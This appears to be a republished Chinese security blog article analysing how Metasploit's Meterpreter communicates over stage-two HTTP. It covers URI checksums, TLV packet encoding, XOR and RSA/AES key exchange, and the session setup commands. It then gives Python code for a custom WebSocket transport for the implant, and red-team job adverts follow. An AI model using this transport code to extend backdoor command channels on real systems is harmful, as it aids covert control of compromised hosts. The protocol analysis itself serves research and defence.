Meterpreter第二阶段HTTP传输方式的通信过程
2022-12-19 10:29:13 Author: 白帽子(查看原文) 阅读量:16 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

NO.1 前言

本篇文章涉及了Meterpreter的第二阶段HTTP传输方式(方便查看流量)的通信过程,TLV数据包的封包和解包,AES密钥的交换,其他传输方式的实现。

NO.2 初始化

在加载第二阶段时硬编码了第一个请求的URL,当请求第一个URL的时候在监听器lib/msf/core/handler/reverse_http.rb的on_request函数中调用了process_uri_resource处理PATH,返回URI的信息。

http://127.0.0.1:8080/HmQQ5Sve4PcQJAUwcLfQRQkhyq2vTdvO7e2STIAQOJl6YIiWO48_cPkPoRxW7f8ABYHEMS8fcWTG74qW_ptibmdJhq1QGHOkbhn5ExF6bwksG63LDdIQ1Z83b6erJqtJbWhnhzaudew8ystbbk0cKGi/

例如上面的URL的信息为:

[1] pry(# <# <Class:0x00007f31a8d18978>>)> info=> {:uri=>"HmQQ5Sve4PcQJAUwcLfQRQkhyq2vTdvO7e2STIAQOJl6YIiWO48_cPkPoRxW7f8ABYHEMS8fcWTG74qW_ptibmdJhq1QGHOkbhn5ExF6bwksG63LDdIQ1Z83b6erJqtJbWhnhzaudew8ystbbk0cKGi", :sum=>95, :uuid=>  # <Msf::Payload::UUID:0x00007f31a9276320   @arch="python",   @name=nil,   @platform="python",   @puid="\x1Ed\x10\xE5+\xDE\xE0\xF7",   @registered=false,   @timestamp=1621063951,   @xor1=16,   @xor2=36>, :mode=>:init_connect}

通过对PATH进行计算校验和得出sum95,然后就根据对应关系获取当前这个请求在哪一个模式,从下面的代码中可以知道第一个请求得到的模式为URI_CHECKSUM_INIT_CONN,也就是新建第二阶段的会话,puid为PayloadUUID,可以在生成后门时自定义PayloadUUIDRaw并且设置PayloadUUIDTracking为True,上线时会校验puid,如果不对则忽略该请求,木马将不能上线。

# lib/rex/payloads/meterpreter/uri_checksum.rb
URI_CHECKSUM_INITW      = 92 # WindowsURI_CHECKSUM_INITN      = 92 # Native (same as Windows)URI_CHECKSUM_INITP      = 80 # PythonURI_CHECKSUM_INITJ      = 88 # JavaURI_CHECKSUM_CONN       = 98 # Existing sessionURI_CHECKSUM_INIT_CONN  = 95 # New stageless session
# Mapping between checksums and modesURI_CHECKSUM_MODES = Hash[URI_CHECKSUM_INITN,      :init_native,URI_CHECKSUM_INITP,      :init_python,URI_CHECKSUM_INITJ,      :init_java,URI_CHECKSUM_INIT_CONN,  :init_connect,URI_CHECKSUM_CONN,       :connect]

如果当前的模式不是URI_CHECKSUM_CONN(sum应该为98)则调用generate_uri_uuid重新生成第二次请求的URL。

如果当前的模式是URI_CHECKSUM_INIT_CONN,也就是第一次请求的时候,会将上面生成的第二次请求的URL封装进响应报文中,TLV数据包的封装在后面会介绍,现在可以理解为:返回让Meterpreter要做的事情是COMMAND_ID_CORE_PATCH_URL,修改第二次请求的URL,参数是conn_id,也就是上面重新生成的第二次请求的URL。

pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL)pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")resp.body = pkt.to_r

在调用pkt.to_r方法的时候将pkt加密了。

# lib/rex/post/meterpreter/packet.rb
def to_r(session_guid = nil, key = nil)    xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr
   raw = (session_guid || NULL_GUID).dup    tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
   if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256)        # encrypt the data, but not include the length and type        iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1])        # now manually add the length/type/iv/ciphertext        raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*')    else        raw << [ENC_FLAG_NONE, tlv_data].pack('NA*')    end
   # return the xor'd result with the key    xor_key + xor_bytes(xor_key, raw)end

tlv_data是将上面返回给Meterpreter的指令和参数按照指定的字节顺序对齐方式打包的二进制数据,可以理解python中的struct.pack模块。

第一次还没有进行密钥交换,所以用的是异或加密,xor_key还放在异或加密后数据的前面32 bits

响应报文中的前32 bits十六进制[46,06,b8,34]为xor_key

In [46]: xor_keyOut[46]: (70, 6, 184, 52)

异或解密后为完整的原始封包数据。

# lib/rex/post/meterpreter/packet.rbPACKET_XOR_KEY_SIZE = 4  # to_r异或加密后加上的随机4位数PACKET_SESSION_GUID_SIZE = 16 # 默认全是0,初始化完会调用core_set_session_guid设置PACKET_ENCRYPT_FLAG_SIZE = 4 # ENC_FLAG_NONE   = 0x0 ENC_FLAG_AES256 = 0x1 ENC_FLAG_AES128 = 0x2# 下面两个其实是TLV封包时加上的,放在to_r这有点误导人PACKET_LENGTH_SIZE = 4PACKET_TYPE_SIZE = 4
PACKET_HEADER_SIZE = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE + PACKET_ENCRYPT_FLAG_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE) # 32

根据源码里的常量得到封包头部长度为32截出下面的数据,解析得到TLV封包的长度为145,上面说了PACKET_LENGTH_SIZEPACKET_TYPE_SIZE是构造TVL是加进来的,所以会算的长度为137,加回来就对了。

下面解析TLV封包,红色框出来的是(Length)长度偏移,绿色框出来的是(Type)类型,最后蓝色框出来的(Value)值,因为前面的(长度偏移和类型都是32 bits)所以会先解析前面64 bits得到长度和类型,再根据得到的长度和类型去截取解析值,值的长度是不固定的,放在后面也比较合理。

以第一个个响应报文中的修改URL指令为例子,先对TLV封包前64 bits进行解析得到了值的偏移为12,类型为131073,查看对应关系可以知道131073对应的是TLV_TYPE_COMMAND_ID,类型为TLV_META_TYPE_UINT,所以在解析值的时候使用>I,得到值为:17,对应的指令为core_patch_url

同理得到要修改URL的参数:

In [120]: struct.unpack(">II", raw[PACKET_HEADER_SIZE+12:][:8])Out[120]: (125, 65967)
In [121]:  raw[PACKET_HEADER_SIZE+12+8:][:125]Out[121]: b'/HmQQ5Sve4PcQJAUwcLud_wFg7pgICi0Jz-LqeFLbbMsY6Ng8slPEdL76nsS2xpJmO8Byf83uxYYZZdzifyRQwhwfo0IsXdB8OCuKIhCH1mgz4eZUej/\x00'
In [122]: str(raw[PACKET_HEADER_SIZE+12+8:][:125].split(NULL_BYTE, 1)[0])Out[122]: '/HmQQ5Sve4PcQJAUwcLud_wFg7pgICi0Jz-LqeFLbbMsY6Ng8slPEdL76nsS2xpJmO8Byf83uxYYZZdzifyRQwhwfo0IsXdB8OCuKIhCH1mgz4eZUej/'
In [123]: TLV_TYPE_TRANS_URLOut[123]: 65967

NO.3 TLV Packets 

(Type, Length, Value)

Metasploit和Meterpreter使用的传输方式有很多,但是传输的封包格式都是一样的,其数据包使用(类型,长度,值)TLV结构,通过这种方法可以生成任意长度的任意类型的值。

TLV封包结构

以第一个响应报文为例:

b'\x00\x00\x00\x0c\x00\x02\x00\x01\x00\x00\x00\x11\x00\x00\x00i\x00\x01\x01\xaf/HmQQ5Sve4PcQJAUwcITdrgWVPQE2FoQa6QGValIwBZRhDRh6FLWA9ePo4jOVNgBomJSxzM4mv8qSneHOnHM-oiCWp4kCY2/\x00'

分割后:

\x00\x00\x00\x0c\x00\x02\x00\x01\x00\x00\x00\x11
\x00\x00\x00i\x00\x01\x01\xaf/HmQQ5Sve4PcQJAUwcITdrgWVPQE2FoQa6QGValIwBZRhDRh6FLWA9ePo4jOVNgBomJSxzM4mv8qSneHOnHM-oiCWp4kCY2/\x00'

NO.4

通过修改请求的URL改变状态

第二次请求的URL是第一次响应里返回的那个要修改的URL,和第一次相同调用了process_uri_resource处理PATH,返回URI的信息,这次计算出来的模式为connect,开始调用create_session创建会话,将之后的请求交给HttpPacketDispatcher类中的on_passive_request处理。

创建会话时继承lib/msf/base/sessions/meterpreter.rbMsf::Sessions::Meterpreter实例化session对象,完了再注册会话。

# 主体在lib/msf/base/sessions/meterpreter_multi.rbcreate_session(cli, {    :passive_dispatcher => self.service,    :dispatch_ext       => [Rex::Post::Meterpreter::HttpPacketDispatcher],    :conn_id            => conn_id,    :url                => url,    :expiration         => datastore['SessionExpirationTimeout'].to_i,    :comm_timeout       => datastore['SessionCommunicationTimeout'].to_i,    :retry_total        => datastore['SessionRetryTotal'].to_i,    :retry_wait         => datastore['SessionRetryWait'].to_i,    :ssl                => ssl?,    :payload_uuid       => uuid    })

在注册会话时调用bootstrap方法再调用negotiate_tlv_encryption交换密钥

def negotiate_tlv_encryption    sym_key = nil    rsa_key = OpenSSL::PKey::RSA.new(2048)    rsa_pub_key = rsa_key.public_key
   request  = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION)    request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)
   begin        response = client.send_request(request)        key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)        key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)
       if key_enc            sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)        else            sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)        end    rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError        # 1) OpenSSL error may be due to padding issues (or something else)        # 2) Request error probably means the request isn't supported, so fallback to plain    end
   {        key:  sym_key,        type: key_type    }end

大概流程就是:Metasploit生成RSA公钥和算法类型发给客户端,客户端随机生成32位的aes_key,将aes_key用公钥加密后发给Metasploit控制端解密,之后的加解密都用这个aes_key作为密钥。

之后的操作顺序为:

core_machine_id # 获取硬盘名称和主机名core_set_session_guid # 重新设置session_guid,因为在加解密会用到session_guid,没设置之前全为0core_enumextcmd # 把当前的客户端支持的功能扩展返回给Metasploit控制端core_loadlib # 加载stdapi,这个可以在创建监听器是设置是否自动加载,上来就加载会调用系统的几个dll,很多杀软你懂得stdapi_fs_getwd # 获取当前运行目录stdapi_sys_config_getuid # 获取当前用户名stdapi_sys_config_sysinfo # 获取主机名,系统语言,系统架构,系统版本信息core_set_uuid # 设置PAYLOAD_UUIDstdapi_net_config_get_interfaces # 获取网卡信息stdapi_net_config_get_routes # 获取路由信息

上面的这些行为除了一些可以在创建监听器上设置开关,但是做的事情也有点多,顺序也是不变的。

最后就是轮询Metasploit控制端的指令队列,等待用户操作。

NO.5 自定义传输方式

既然已经知道了Meterpreter与Metasploit的通信封包结构和加解密方式,那我们可以实现数据的传输方式,比如WebSocket

参考:https://github.com/rapid7/metasploit-payloads/blob/master/python/meterpreter/meterpreter.py

只是修改传输方式可以直接继承Transport类,将_get_packet和_send_packet两个方法重写掉就可以了,都是发送和接受加密后的数据,不需要对数据做任何操作。

class WebSocketTransport(Transport):    def __init__(self, url):        super(WebSocketTransport, self).__init__()        opener_args = []        scheme = url.split(':', 1)[0]        self.url = url        self._first_packet = None        self._empty_cnt = 0        self.message_packet = queue.Queue()        self.ws = websocket.WebSocketApp(self.url, on_open=self.on_open, on_message=self.on_message,                                         on_ping=self.on_ping,                                         on_pong=self.on_pong)        self.ws_thread = threading.Thread(target=self.run_ws)        self.ws_thread.start()
   def on_open(self):        pass
   def run_ws(self):        self.ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE}, ping_interval=60, ping_timeout=10,                            ping_payload="This is an optional ping payload")
   def on_message(self, ws, message):        self.message_packet.put(message)
   def on_error(self, ws, error):        print("error", error)
   def on_close(self, ws):        print("### closed ### ")
   def on_ping(self, wsapp, message):        print("Got a ping!")
   def on_pong(self, wsapp, message):        print("Got a pong! No need to respond")
   def _get_packet(self):        if self._first_packet:            packet = self._first_packet            self._first_packet = None            return packet        packet = None        xor_key = None        try:            if self.message_packet.not_empty:                packet = self.message_packet.get()                if len(packet) < PACKET_HEADER_SIZE:                    packet = None  # looks corrupt                else:                    xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])                    header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])                    pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF + PACKET_LENGTH_SIZE])[                                     0] - 8                    if len(packet) != (pkt_length + PACKET_HEADER_SIZE):                        packet = None  # looks corrupt        except:            debug_traceback('[-] failure to receive packet from ' + self.url)            self.is_end = True
       if not packet:            self.communication_last = time.time()            delay = 100 * self._empty_cnt            self._empty_cnt += 1            time.sleep(float(min(10000, delay)) / 1000)            return packet
       self._empty_cnt = 0        return packet
   def _send_packet(self, packet):        self.ws.send(data=packet, opcode=ABNF.OPCODE_BINARY)

Metasploit中并没有支持WebSocket的传输方式,要添加可以在源码对着HttpPacketDispatcher抄一个,还有一个简单的方法是写一个中转器,在Metasploit本机开启一个WebSocket的服务,将客户端发送过来的数据转发到Metasploit监听的http端口上,Metasploit只要创建原来的HTTP传输方式的监听就可以了。

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246448&idx=1&sn=68c98c2dd2a0401a9fd99d28d2fb482c&chksm=82ea5699b59ddf8f21adf7790c8374b5e1fcf39bb7e08a52726cad8dc459a7f1d701d82b1ae4#rd
如有侵权请联系:admin#unsafe.sh